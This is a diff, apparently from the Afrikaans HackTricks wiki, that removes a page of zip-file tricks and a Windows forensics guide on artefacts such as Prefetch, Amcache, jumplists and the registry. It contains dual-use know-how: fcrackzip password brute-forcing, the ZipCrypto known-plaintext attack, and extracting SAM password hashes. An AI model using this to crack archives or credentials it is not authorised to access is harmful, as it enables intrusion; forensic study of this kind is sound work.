||||
|
||||
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,21 +0,0 @@
|
||||
# ZIPs tricks
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Opdraglyn gereedskap** vir die bestuur van **zip lêers** is noodsaaklik vir die diagnose, herstel en kraak van zip lêers. Hier is 'n paar sleutel nutsprogramme:
|
||||
|
||||
- **`unzip`**: Onthul hoekom 'n zip lêer dalk nie ontspan nie.
|
||||
- **`zipdetails -v`**: Bied gedetailleerde analise van zip lêer formaat velde.
|
||||
- **`zipinfo`**: Lys die inhoud van 'n zip lêer sonder om dit te onttrek.
|
||||
- **`zip -F input.zip --out output.zip`** en **`zip -FF input.zip --out output.zip`**: Probeer om beskadigde zip lêers te herstel.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 'n Gereedskap vir brute-force kraak van zip wagwoorde, effektief vir wagwoorde tot ongeveer 7 karakters.
|
||||
|
||||
Die [Zip lêer formaat spesifikasie](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) bied omvattende besonderhede oor die struktuur en standaarde van zip lêers.
|
||||
|
||||
Dit is belangrik om op te let dat wagwoord-beskermde zip lêers **nie lêernaam of lêergrootte** binne-in enkripteer nie, 'n sekuriteitsgebrek wat nie met RAR of 7z lêers gedeel word nie, wat hierdie inligting enkripteer. Verder is zip lêers wat met die ouer ZipCrypto metode enkripteer is, kwesbaar vir 'n **plaktekstaanval** as 'n nie-enkryptiese kopie van 'n gecomprimeerde lêer beskikbaar is. Hierdie aanval benut die bekende inhoud om die zip se wagwoord te kraak, 'n kwesbaarheid wat in [HackThis se artikel](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) uiteengesit word en verder verduidelik word in [hierdie akademiese artikel](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). egter, zip lêers wat met **AES-256** enkripteer is, is immuun teen hierdie plaktekstaanval, wat die belangrikheid van die keuse van veilige enkripsiemetodes vir sensitiewe data toon.
|
||||
|
||||
## References
|
||||
|
||||
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,498 +0,0 @@
|
||||
# Windows Artefakte
|
||||
|
||||
## Windows Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Generiese Windows Artefakte
|
||||
|
||||
### Windows 10 Kennisgewings
|
||||
|
||||
In die pad `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` kan jy die databasis `appdb.dat` (voor Windows herdenking) of `wpndatabase.db` (na Windows Herdenking) vind.
|
||||
|
||||
Binne hierdie SQLite-databasis kan jy die `Notification` tabel vind met al die kennisgewings (in XML-formaat) wat dalk interessante data kan bevat.
|
||||
|
||||
### Tydlyn
|
||||
|
||||
Tydlyn is 'n Windows kenmerk wat **chronologiese geskiedenis** van webblaaie wat besoek is, gewysigde dokumente, en uitgevoerde toepassings verskaf.
|
||||
|
||||
Die databasis is geleë in die pad `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Hierdie databasis kan geopen word met 'n SQLite-gereedskap of met die gereedskap [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **wat 2 lêers genereer wat met die gereedskap** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **geopen kan word**.
|
||||
|
||||
### ADS (Alternatiewe Data Strome)
|
||||
|
||||
Lêers wat afgelaai is, kan die **ADS Zone.Identifier** bevat wat aandui **hoe** dit **afgelaai** is vanaf die intranet, internet, ens. Sommige sagteware (soos blaaiers) plaas gewoonlik selfs **meer** **inligting** soos die **URL** waarvandaan die lêer afgelaai is.
|
||||
|
||||
## **Lêer Rugsteun**
|
||||
|
||||
### Herwinningsblik
|
||||
|
||||
In Vista/Win7/Win8/Win10 kan die **Herwinningsblik** gevind word in die gids **`$Recycle.bin`** in die wortel van die skyf (`C:\$Recycle.bin`).\
|
||||
Wanneer 'n lêer in hierdie gids verwyder word, word 2 spesifieke lêers geskep:
|
||||
|
||||
- `$I{id}`: Lêer inligting (datum van wanneer dit verwyder is)
|
||||
- `$R{id}`: Inhoud van die lêer
|
||||
|
||||
.png>)
|
||||
|
||||
Met hierdie lêers kan jy die gereedskap [**Rifiuti**](https://github.com/abelcheung/rifiuti2) gebruik om die oorspronklike adres van die verwyderde lêers en die datum waarop dit verwyder is, te kry (gebruik `rifiuti-vista.exe` vir Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Volume Skadu Kopieë
|
||||
|
||||
Skadu Kopie is 'n tegnologie ingesluit in Microsoft Windows wat **rugsteun kopieë** of snappshots van rekenaar lêers of volumes kan skep, selfs wanneer hulle in gebruik is.
|
||||
|
||||
Hierdie rugsteun is gewoonlik geleë in die `\System Volume Information` vanaf die wortel van die lêerstelsel en die naam is saamgestel uit **UIDs** wat in die volgende beeld getoon word:
|
||||
|
||||
.png>)
|
||||
|
||||
Deur die forensiese beeld met die **ArsenalImageMounter** te monteer, kan die hulpmiddel [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) gebruik word om 'n skadu kopie te inspekteer en selfs **die lêers** uit die skadu kopie rugsteun te **onttrek**.
|
||||
|
||||
.png>)
|
||||
|
||||
Die register inskrywing `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` bevat die lêers en sleutels **om nie rugsteun te maak nie**:
|
||||
|
||||
.png>)
|
||||
|
||||
Die register `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` bevat ook konfigurasie-inligting oor die `Volume Skadu Kopieë`.
|
||||
|
||||
### Office Outomaties Gemaakte Lêers
|
||||
|
||||
Jy kan die kantoor outomaties gemaakte lêers vind in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell Items
|
||||
|
||||
'n Shell item is 'n item wat inligting bevat oor hoe om toegang te verkry tot 'n ander lêer.
|
||||
|
||||
### Onlangse Dokumente (LNK)
|
||||
|
||||
Windows **skep** hierdie **skakels** **automaties** wanneer die gebruiker **oopmaak, gebruik of 'n lêer skep** in:
|
||||
|
||||
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Wanneer 'n gids geskep word, word 'n skakel na die gids, na die ouergids, en die grootouergids ook geskep.
|
||||
|
||||
Hierdie outomaties geskepte skakel lêers **bevat inligting oor die oorsprong** soos of dit 'n **lêer** **of** 'n **gids** is, **MAC** **tye** van daardie lêer, **volume inligting** van waar die lêer gestoor is en **gids van die teiken lêer**. Hierdie inligting kan nuttig wees om daardie lêers te herstel in die geval dat hulle verwyder is.
|
||||
|
||||
Ook, die **datum geskep van die skakel** lêer is die eerste **tyd** wat die oorspronklike lêer **eerste** **gebruik** is en die **datum** **gewysig** van die skakel lêer is die **laaste** **tyd** wat die oorspronklike lêer gebruik is.
|
||||
|
||||
Om hierdie lêers te inspekteer kan jy [**LinkParser**](http://4discovery.com/our-tools/) gebruik.
|
||||
|
||||
In hierdie hulpmiddel sal jy **2 stelle** van tydstempels vind:
|
||||
|
||||
- **Eerste Stel:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
- **Tweedestel:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Die eerste stel tydstempels verwys na die **tydstempels van die lêer self**. Die tweede stel verwys na die **tydstempels van die gelinkte lêer**.
|
||||
|
||||
Jy kan dieselfde inligting verkry deur die Windows CLI hulpmiddel: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) te gebruik.
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
In hierdie geval gaan die inligting binne 'n CSV-lêer gestoor word.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Dit is die onlangse lêers wat per toepassing aangedui word. Dit is die lys van **onlangse lêers wat deur 'n toepassing gebruik is** wat jy op elke toepassing kan toegang. Hulle kan **outomaties geskep of pasgemaak** word.
|
||||
|
||||
Die **jumplists** wat outomaties geskep word, word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Die jumplists is vernoem volgens die formaat `{id}.autmaticDestinations-ms` waar die aanvanklike ID die ID van die toepassing is.
|
||||
|
||||
Die pasgemaakte jumplists word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` en hulle word gewoonlik deur die toepassing geskep omdat iets **belangrik** met die lêer gebeur het (miskien as gunsteling gemerk).
|
||||
|
||||
Die **gecreëerde tyd** van enige jumplist dui die **eerste keer aan dat die lêer toegang verkry is** en die **gewysigde tyd die laaste keer**.
|
||||
|
||||
Jy kan die jumplists inspekteer met [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
.png>)
|
||||
|
||||
(_Let daarop dat die tydstempels wat deur JumplistExplorer verskaf word, verband hou met die jumplist-lêer self_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Volg hierdie skakel om te leer wat die shellbags is.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Gebruik van Windows USBs
|
||||
|
||||
Dit is moontlik om te identifiseer dat 'n USB-toestel gebruik is danksy die skepping van:
|
||||
|
||||
- Windows Onlangse Gids
|
||||
- Microsoft Office Onlangse Gids
|
||||
- Jumplists
|
||||
|
||||
Let daarop dat sommige LNK-lêers in plaas daarvan om na die oorspronklike pad te wys, na die WPDNSE-gids wys:
|
||||
|
||||
.png>)
|
||||
|
||||
Die lêers in die WPDNSE-gids is 'n kopie van die oorspronklike, en sal dus nie oorleef na 'n herstart van die PC nie en die GUID word van 'n shellbag geneem.
|
||||
|
||||
### Registrasie-inligting
|
||||
|
||||
[Kontroleer hierdie bladsy om te leer](interesting-windows-registry-keys.md#usb-information) watter registrasiesleutels interessante inligting oor USB-verbonden toestelle bevat.
|
||||
|
||||
### setupapi
|
||||
|
||||
Kontroleer die lêer `C:\Windows\inf\setupapi.dev.log` om die tydstempels te kry oor wanneer die USB-verbinding gemaak is (soek vir `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) kan gebruik word om inligting oor die USB-toestelle wat aan 'n beeld gekoppel is, te verkry.
|
||||
|
||||
.png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
Die geskeduleerde taak bekend as 'Plug and Play Cleanup' is hoofsaaklik ontwerp vir die verwydering van verouderde stuurprogrammaversies. In teenstelling met sy gespesifiseerde doel om die nuutste stuurprogrampakketweergawe te behou, dui aanlynbronne aan dat dit ook stuurprogramme teiken wat vir 30 dae inaktief was. Gevolglik kan stuurprogramme vir verwyderbare toestelle wat nie in die afgelope 30 dae gekoppel was nie, onderhewig wees aan verwydering.
|
||||
|
||||
Die taak is geleë op die volgende pad:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
'n Skermskoot wat die taak se inhoud toon, word verskaf:
|
||||

|
||||
|
||||
**Belangrike Komponente en Instellings van die Taak:**
|
||||
|
||||
- **pnpclean.dll**: Hierdie DLL is verantwoordelik vir die werklike skoonmaakproses.
|
||||
- **UseUnifiedSchedulingEngine**: Gestel op `TRUE`, wat die gebruik van die generiese taakbeplanning enjin aandui.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Gee die Taakbeplanner opdrag om die skoonmaaktaak maandeliks te begin tydens gereelde Outomatiese onderhoud.
|
||||
- **Deadline ('P2M')**: Gee die Taakbeplanner opdrag, indien die taak vir twee agtereenvolgende maande misluk, om die taak tydens noodgeval Outomatiese onderhoud uit te voer.
|
||||
|
||||
Hierdie konfigurasie verseker gereelde onderhoud en skoonmaak van stuurprogramme, met voorsienings vir herpoging van die taak in die geval van agtereenvolgende mislukkings.
|
||||
|
||||
**Vir meer inligting, kyk:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## E-pos
|
||||
|
||||
E-pos bevat **2 interessante dele: Die koptekste en die inhoud** van die e-pos. In die **koptekste** kan jy inligting vind soos:
|
||||
|
||||
- **Wie** die e-posse gestuur het (e-posadres, IP, posbedieners wat die e-pos herlei het)
|
||||
- **Wanneer** die e-pos gestuur is
|
||||
|
||||
Ook, binne die `References` en `In-Reply-To` koptekste kan jy die ID van die boodskappe vind:
|
||||
|
||||
.png>)
|
||||
|
||||
### Windows Mail App
|
||||
|
||||
Hierdie toepassing stoor e-posse in HTML of teks. Jy kan die e-posse binne subgidsen binne `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` vind. Die e-posse word gestoor met die `.dat` uitbreiding.
|
||||
|
||||
Die **metadata** van die e-posse en die **kontakte** kan binne die **EDB-databasis** gevind word: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Verander die uitbreiding** van die lêer van `.vol` na `.edb` en jy kan die hulpmiddel [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gebruik om dit te open. Binne die `Message` tabel kan jy die e-posse sien.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Wanneer Exchange-bedieners of Outlook-kliënte gebruik word, sal daar 'n paar MAPI-koptekste wees:
|
||||
|
||||
- `Mapi-Client-Submit-Time`: Tyd van die stelsel wanneer die e-pos gestuur is
|
||||
- `Mapi-Conversation-Index`: Aantal kindersboodskappe van die draad en tydstempel van elke boodskap van die draad
|
||||
- `Mapi-Entry-ID`: Boodskapidentifiseerder.
|
||||
- `Mappi-Message-Flags` en `Pr_last_Verb-Executed`: Inligting oor die MAPI-kliënt (boodskap gelees? nie gelees nie? geantwoord? herlei? buite kantoor?)
|
||||
|
||||
In die Microsoft Outlook-kliënt, word al die gestuurde/ontvange boodskappe, kontakdata, en kalenderdata in 'n PST-lêer gestoor in:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Die registrasiepunt `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` dui die lêer aan wat gebruik word.
|
||||
|
||||
Jy kan die PST-lêer open met die hulpmiddel [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
.png>)
|
||||
|
||||
### Microsoft Outlook OST Lêers
|
||||
|
||||
'n **OST-lêer** word deur Microsoft Outlook gegenereer wanneer dit met **IMAP** of 'n **Exchange** bediener geconfigureer is, wat soortgelyke inligting stoor as 'n PST-lêer. Hierdie lêer word gesinkroniseer met die bediener, wat data vir **die laaste 12 maande** tot 'n **maksimumgrootte van 50GB** behou, en is geleë in dieselfde gids as die PST-lêer. Om 'n OST-lêer te sien, kan die [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) gebruik word.
|
||||
|
||||
### Herwinning van Aanhangsels
|
||||
|
||||
Verloore aanhangsels mag herstelbaar wees van:
|
||||
|
||||
- Vir **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Vir **IE11 en hoër**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX Lêers
|
||||
|
||||
**Thunderbird** gebruik **MBOX-lêers** om data te stoor, geleë in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Beeld Miniatuurweergawes
|
||||
|
||||
- **Windows XP en 8-8.1**: Toegang tot 'n gids met miniatuurweergawes genereer 'n `thumbs.db` lêer wat beeldvoorskou stoor, selfs na verwydering.
|
||||
- **Windows 7/10**: `thumbs.db` word geskep wanneer dit oor 'n netwerk via UNC-pad toegang verkry word.
|
||||
- **Windows Vista en nuwer**: Miniatuurvoorskou is gesentraliseer in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` met lêers wat **thumbcache_xxx.db** genoem word. [**Thumbsviewer**](https://thumbsviewer.github.io) en [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) is hulpmiddels om hierdie lêers te sien.
|
||||
|
||||
### Windows Registrasie-inligting
|
||||
|
||||
Die Windows Registrasie, wat uitgebreide stelsel- en gebruikersaktiwiteitsdata stoor, is vervat in lêers in:
|
||||
|
||||
- `%windir%\System32\Config` vir verskeie `HKEY_LOCAL_MACHINE` subsleutels.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` vir `HKEY_CURRENT_USER`.
|
||||
- Windows Vista en later weergawes maak 'n rugsteun van `HKEY_LOCAL_MACHINE` registrasielêers in `%Windir%\System32\Config\RegBack\`.
|
||||
- Daarbenewens word programuitvoeringsinligting gestoor in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` vanaf Windows Vista en Windows 2008 Server.
|
||||
|
||||
### Hulpmiddels
|
||||
|
||||
Sommige hulpmiddels is nuttig om die registrasielêers te analiseer:
|
||||
|
||||
- **Registrasie-redigeerder**: Dit is geïnstalleer in Windows. Dit is 'n GUI om deur die Windows registrasie van die huidige sessie te navigeer.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Dit laat jou toe om die registrasielêer te laai en deur hulle met 'n GUI te navigeer. Dit bevat ook Boekmerke wat sleutels met interessante inligting uitlig.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Weereens, dit het 'n GUI wat toelaat om deur die gelaaide registrasie te navigeer en bevat ook plugins wat interessante inligting binne die gelaaide registrasie uitlig.
|
||||
- [**Windows Registrasie Herwinning**](https://www.mitec.cz/wrr.html): Nog 'n GUI-toepassing wat in staat is om die belangrike inligting uit die gelaaide registrasie te onttrek.
|
||||
|
||||
### Herwinning van Verwyderde Element
|
||||
|
||||
Wanneer 'n sleutel verwyder word, word dit as sodanig gemerk, maar totdat die ruimte wat dit beset, benodig word, sal dit nie verwyder word nie. Daarom, deur hulpmiddels soos **Registry Explorer** te gebruik, is dit moontlik om hierdie verwyderde sleutels te herstel.
|
||||
|
||||
### Laaste Skryftyd
|
||||
|
||||
Elke Sleutel-Waarde bevat 'n **tydstempel** wat die laaste keer aandui dat dit gewysig is.
|
||||
|
||||
### SAM
|
||||
|
||||
Die lêer/hive **SAM** bevat die **gebruikers, groepe en gebruikerswagwoorde** hashes van die stelsel.
|
||||
|
||||
In `SAM\Domains\Account\Users` kan jy die gebruikersnaam, die RID, laaste aanmelding, laaste mislukte aanmelding, aanmeldtelling, wagwoordbeleid en wanneer die rekening geskep is, verkry. Om die **hashes** te kry, moet jy ook die lêer/hive **SYSTEM** hê.
|
||||
|
||||
### Interessante inskrywings in die Windows Registrasie
|
||||
|
||||
{{#ref}}
|
||||
interesting-windows-registry-keys.md
|
||||
{{#endref}}
|
||||
|
||||
## Uitgevoerde Programme
|
||||
|
||||
### Basiese Windows Prosesse
|
||||
|
||||
In [hierdie pos](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) kan jy leer oor die algemene Windows prosesse om verdagte gedrag te detecteer.
|
||||
|
||||
### Windows Onlangse APPs
|
||||
|
||||
Binne die registrasie `NTUSER.DAT` in die pad `Software\Microsoft\Current Version\Search\RecentApps` kan jy subsleutels met inligting oor die **toepassing uitgevoer**, **laaste keer** dit uitgevoer is, en **aantal kere** dit geloods is.
|
||||
|
||||
### BAM (Achtergrondaktiwiteit Moderator)
|
||||
|
||||
Jy kan die `SYSTEM` lêer met 'n registrasieredigeerder open en binne die pad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` kan jy die inligting oor die **toepassings uitgevoer deur elke gebruiker** vind (let op die `{SID}` in die pad) en **op watter tyd** hulle uitgevoer is (die tyd is binne die Data waarde van die registrasie).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching is 'n tegniek wat 'n rekenaar toelaat om stilweg **die nodige hulpbronne te verkry wat nodig is om inhoud te vertoon** wat 'n gebruiker **in die nabye toekoms mag toegang** so hulpbronne vinniger kan verkry word.
|
||||
|
||||
Windows prefetch bestaan uit die skep van **kaste van die uitgevoerde programme** om hulle vinniger te kan laai. Hierdie kaste word as `.pf` lêers binne die pad geskep: `C:\Windows\Prefetch`. Daar is 'n limiet van 128 lêers in XP/VISTA/WIN7 en 1024 lêers in Win8/Win10.
|
||||
|
||||
Die lêernaam word geskep as `{program_name}-{hash}.pf` (die hash is gebaseer op die pad en argumente van die uitvoerbare). In W10 is hierdie lêers gecomprimeer. Let daarop dat die blote teenwoordigheid van die lêer aandui dat **die program op 'n stadium uitgevoer is**.
|
||||
|
||||
Die lêer `C:\Windows\Prefetch\Layout.ini` bevat die **name van die gidse van die lêers wat geprefetch is**. Hierdie lêer bevat **inligting oor die aantal uitvoerings**, **datums** van die uitvoering en **lêers** **geopen** deur die program.
|
||||
|
||||
Om hierdie lêers te inspekteer, kan jy die hulpmiddel [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) gebruik:
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** het dieselfde doel as prefetch, **laai programme vinniger** deur te voorspel wat volgende gelaai gaan word. Dit vervang egter nie die prefetch diens nie.\
|
||||
Hierdie diens sal databasislêers genereer in `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In hierdie databasisse kan jy die **naam** van die **program**, **aantal** **uitvoerings**, **lêers** **geopen**, **volume** **toegang**, **volledige** **pad**, **tydraamwerke** en **tydstempels** vind.
|
||||
|
||||
Jy kan toegang tot hierdie inligting verkry met die hulpmiddel [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **monitor** die **hulpbronne** **verbruik** **deur 'n proses**. Dit het in W8 verskyn en dit stoor die data in 'n ESE-databasis geleë in `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
Dit gee die volgende inligting:
|
||||
|
||||
- AppID en Pad
|
||||
- Gebruiker wat die proses uitgevoer het
|
||||
- Gestuurde Bytes
|
||||
- Ontvange Bytes
|
||||
- Netwerkinterface
|
||||
- Verbinding duur
|
||||
- Proses duur
|
||||
|
||||
Hierdie inligting word elke 60 minute opgedateer.
|
||||
|
||||
Jy kan die data uit hierdie lêer verkry met die hulpmiddel [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Die **AppCompatCache**, ook bekend as **ShimCache**, vorm 'n deel van die **Application Compatibility Database** wat deur **Microsoft** ontwikkel is om toepassingskompatibiliteitsprobleme aan te spreek. Hierdie stelseldonderdeel registreer verskeie stukke lêermetadat, wat insluit:
|
||||
|
||||
- Volledige pad van die lêer
|
||||
- Grootte van die lêer
|
||||
- Laaste Gewysig tyd onder **$Standard_Information** (SI)
|
||||
- Laaste Opgedateerde tyd van die ShimCache
|
||||
- Proses Uitvoeringsvlag
|
||||
|
||||
Sulke data word in die registrasie op spesifieke plekke gestoor gebaseer op die weergawe van die bedryfstelsel:
|
||||
|
||||
- Vir XP, word die data gestoor onder `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` met 'n kapasiteit vir 96 inskrywings.
|
||||
- Vir Server 2003, sowel as vir Windows weergawes 2008, 2012, 2016, 7, 8, en 10, is die stoorpad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, wat 512 en 1024 inskrywings akkommodeer, onderskeidelik.
|
||||
|
||||
Om die gestoor inligting te ontleed, word die [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) aanbeveel vir gebruik.
|
||||
|
||||
.png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
Die **Amcache.hve** lêer is in wese 'n registrasie heuning wat besonderhede log oor toepassings wat op 'n stelsel uitgevoer is. Dit word tipies gevind by `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Hierdie lêer is opvallend omdat dit rekords van onlangs uitgevoerde prosesse stoor, insluitend die paaie na die uitvoerbare lêers en hul SHA1 hashes. Hierdie inligting is van onskatbare waarde vir die opsporing van die aktiwiteit van toepassings op 'n stelsel.
|
||||
|
||||
Om die data uit **Amcache.hve** te onttrek en te analiseer, kan die [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool gebruik word. Die volgende opdrag is 'n voorbeeld van hoe om AmcacheParser te gebruik om die inhoud van die **Amcache.hve** lêer te ontleed en die resultate in CSV-formaat uit te voer:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Onder die gegenereerde CSV-lêers is die `Amcache_Unassociated file entries` veral noemenswaardig weens die ryk inligting wat dit verskaf oor nie-geassosieerde lêer inskrywings.
|
||||
|
||||
Die mees interessante CVS-lêer wat gegenereer is, is die `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Hierdie artefak kan slegs in W7 gevind word in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` en dit bevat inligting oor die onlangse uitvoering van sommige binaries.
|
||||
|
||||
Jy kan die hulpmiddel [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) gebruik om die lêer te ontleed.
|
||||
|
||||
### Geskeduleerde take
|
||||
|
||||
Jy kan dit uit `C:\Windows\Tasks` of `C:\Windows\System32\Tasks` onttrek en dit as XML lees.
|
||||
|
||||
### Dienste
|
||||
|
||||
Jy kan dit in die register onder `SYSTEM\ControlSet001\Services` vind. Jy kan sien wat gaan uitgevoer word en wanneer.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Die geïnstalleerde toepassings kan gevind word in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Hierdie repository het 'n **log** met **elke geïnstalleerde toepassing** in die stelsel binne die databasis **`StateRepository-Machine.srd`**.
|
||||
|
||||
Binne die Toepassing tabel van hierdie databasis, is dit moontlik om die kolomme: "Application ID", "PackageNumber", en "Display Name" te vind. Hierdie kolomme het inligting oor vooraf-geïnstalleerde en geïnstalleerde toepassings en dit kan gevind word as sommige toepassings verwyder is omdat die ID's van geïnstalleerde toepassings opeenvolgend moet wees.
|
||||
|
||||
Dit is ook moontlik om **geïnstalleerde toepassing** binne die registerpad te vind: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
En **verwyderde** **toepassings** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows Gebeure
|
||||
|
||||
Inligting wat binne Windows gebeure verskyn is:
|
||||
|
||||
- Wat gebeur het
|
||||
- Tydstempel (UTC + 0)
|
||||
- Betrokke gebruikers
|
||||
- Betrokke gasheer (hostname, IP)
|
||||
- Toegang tot bates (lêers, gids, drukker, dienste)
|
||||
|
||||
Die logs is geleë in `C:\Windows\System32\config` voor Windows Vista en in `C:\Windows\System32\winevt\Logs` na Windows Vista. Voor Windows Vista was die gebeurtenislogs in binêre formaat en daarna is dit in **XML-formaat** en gebruik die **.evtx** uitbreiding.
|
||||
|
||||
Die ligging van die gebeurtenis lêers kan in die SYSTEM register gevind word in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Hulle kan van die Windows Gebeurteniskyker (**`eventvwr.msc`**) of met ander hulpmiddels soos [**Event Log Explorer**](https://eventlogxp.com) **of** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Verstaan Windows Sekuriteit Gebeurtenis Logging
|
||||
|
||||
Toegang gebeurtenisse word in die sekuriteitskonfigurasielêer aangeteken wat geleë is by `C:\Windows\System32\winevt\Security.evtx`. Die grootte van hierdie lêer is aanpasbaar, en wanneer sy kapasiteit bereik is, word ouer gebeurtenisse oorgeskryf. Aangetekende gebeurtenisse sluit gebruikers aanmeldings en afmeldings, gebruikers aksies, en veranderinge aan sekuriteitsinstellings in, sowel as lêer, gids, en gedeelde bate toegang.
|
||||
|
||||
### Sleutel Gebeurtenis ID's vir Gebruiker Verifikasie:
|
||||
|
||||
- **EventID 4624**: Dui aan dat 'n gebruiker suksesvol geverifieer is.
|
||||
- **EventID 4625**: Gee 'n verifikasiefout aan.
|
||||
